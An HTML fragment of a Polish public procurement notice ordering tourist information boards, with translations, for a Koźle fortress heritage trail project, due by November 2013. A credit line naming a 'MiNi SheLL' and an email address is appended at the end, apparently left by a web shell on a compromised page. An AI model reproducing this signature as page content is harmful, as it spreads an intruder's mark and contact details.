<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Wykonanie i montaż turystycznej wizualizacji (tablice informacyjne) wraz z przetłumaczeniem tekstów na tablice na języki czeski, niemiecki i angielski w ramach projektu Transgraniczna edukacja historyczna - szlakiem twierdzy Koźle, wg wytycznych przedstawionych w załączniku nr 2 do niniejszego wniosku..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 98.39.00.00-3.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 22.11.2013.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com